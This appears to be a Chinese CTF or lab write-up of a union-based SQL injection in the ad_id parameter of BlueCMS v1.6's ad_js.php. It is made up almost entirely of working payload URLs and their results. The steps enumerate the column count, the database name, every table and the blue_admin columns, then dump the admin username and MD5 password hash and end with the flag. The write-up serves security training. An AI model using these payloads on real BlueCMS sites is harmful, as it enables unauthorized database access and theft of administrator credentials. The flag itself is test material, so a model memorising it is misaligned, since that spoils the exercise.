BlueCMS_V1.6 ad_js.php页面存在SQL注入
1、已知ad_js.php页面存在SQL注入,验证一下,输入如下payload:
单引号果然报错
2、使用order by查看有多少字段,
先输入payload:
http://ip/ad_js.php?ad_id=1 order by 7
order by 7没有报错
再试一下order by 8,输入:
http://ip/ad_js.php?ad_id=1 order by 8
order by 8报错,所以字段数为7
3、现在要知道回显位置,输入如下payload:
http://ip/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7
这时会看到一个空白页面
右键点击,查看网页源代码
发现第7个字段有回显
4、查看当前数据库名,输入如下payload:
http://ip/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
返回还是空白网页,需查看源码
得到数据库名为“blue”
5、爆表名,输入如下payload:
http://ip/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
继续查看网页源代码
发现有如下这些表:
blue_ad,blue_ad_phone,blue_admin,blue_admin_log,blue_ann,blue_ann_cat,blue_arc_cat,blue_area,blue_article,blue_attachment,blue_buy_record,blue_card_order,blue_card_type,blue_category,blue_comment,blue_config,blue_flash_image,blue_guest_book,blue_ipbanned,blue_link,blue_model,blue_navigate,blue_pay,blue_post,blue_post_att,blue_post_pic,blue_service,blue_task,blue_user
接下来选择爆blue_admin这个表
6、爆列名,这里需要将表名转换为16进制,可通过如下网址转换:
且16进制再输入是要再前面加上“0x”,输入如下payload:
http://ip/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
执行后继续查看网页源代码
发现有以下几个列
admin_id,admin_name,email,pwd,purview,add_time,last_login_time,last_login_ip
7、获取admin的密码,输入如下payload:
http://ip/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
执行后继续查看网页源代码
得到密码的md5值
21232f297a57a5a743894a0e4a801fc3
8、md5解密,可使用如下网站:
得到admin的密码为admin,把它用flag括起来就得到flag:
flag{admin}